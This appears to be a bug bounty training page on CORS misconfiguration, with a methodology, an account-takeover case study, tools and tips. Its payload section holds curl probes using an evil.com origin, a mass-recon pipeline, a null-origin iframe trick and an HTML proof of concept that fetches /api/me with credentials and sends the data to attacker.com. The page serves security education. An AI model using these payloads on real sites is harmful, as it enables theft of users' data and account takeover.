CORS Misconfiguration
Data exfiltration via misconfigured origins
Quick answer
What is CORS Misconfiguration?
A CORS misconfiguration lets malicious sites read the victim's API responses using the credentials in the user's browser. It's especially dangerous when combined with Allow-Credentials.
Severity
High
Frequency
Common
Payloads
7
Steps
5
Severity
High
Frequency
Common
Payloads
7
CORS defines which origins can read an API's responses. If the server reflects any Origin into Access-Control-Allow-Origin with Allow-Credentials: true, an attacker can read the authenticated user's data from their own domain.
Where to look
API endpoints with sensitive data
GET /api/me, /api/profile, /api/settings — any endpoint that returns private data.
APIs with credentials
Endpoints that require session cookies or tokens to work.
Subdomains with XSS
If CORS allows *.target.com, an XSS on any subdomain lets you exploit the misconfig.
Methodology
Look for CORS headers
Intercept responses and look for Access-Control-Allow-Origin on API endpoints.
Send a malicious Origin
curl -H 'Origin: https://evil.com' https://target.com/api/me — is it reflected?
Check Credentials
Access-Control-Allow-Credentials: true? Without it, cookies aren't sent and it's not exploitable.
Try variations
Origin: null, Origin: http://target.com.evil.com, Origin: http://evil-target.com
Exploit
If it reflects + credentials → build a page that does fetch() with credentials:include and sends the data to your server.
Real-world case
CORS reflect origin + subdomain XSS → Account Takeover
Detect permissive CORS
The /api/me API reflects any subdomain of target.com with Allow-Credentials: true.
Find XSS on a subdomain
Reflected XSS in blog.target.com/search?q=<script>...
Combine
From blog.target.com (allowed by CORS), the XSS fetches api.target.com/api/me with credentials.
Exfiltrate
The user's data (email, tokens) is sent to the attacker's server.
Lesson: Permissive CORS with subdomains + XSS on any subdomain = full exfiltration. Audit every subdomain when you see CORS with a subdomain wildcard.
Payloads
Basic test
curl -H 'Origin: https://evil.com' -v https://target.com/api/me
Origin null
curl -H 'Origin: null' -v https://target.com/api/me
Subdomain matching
curl -H 'Origin: https://target.com.evil.com' -v https://target.com/api/me
Regex bypass
curl -H 'Origin: https://evil-target.com' -v https://target.com/api/me
Advanced payloads(account required)
Full HTML PoC
<script>fetch('https://target.com/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))</script>Mass recon
subfinder -d target.com | httpx | parallel -j 50 curl -sk -H 'Origin: https://evil.com' -o /dev/null -D - {} | grep -i 'access-control'Null origin via sandbox
<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch(...)...</script>">
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
CORScanner
Automatically scans for CORS misconfigurations.
python3 cors_scan.py -u https://target.com
Burp Suite
Filter responses containing CORS headers for manual analysis.
Proxy → buscar 'Access-Control-Allow-Origin' en responses
Tips
No Credentials = not exploitable
Without Allow-Credentials: true, cookies aren't sent and you can't reach the user's data.
Look for XSS on subdomains
If CORS allows *.target.com, an XSS on any subdomain lets you exploit the misconfig.
Origin: null is dangerous
It can be sent from sandboxed iframes. If the API accepts null → exploitable.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice CORS Misconfiguration with real labs
Apply these techniques in safe environments based on real bug bounty reports.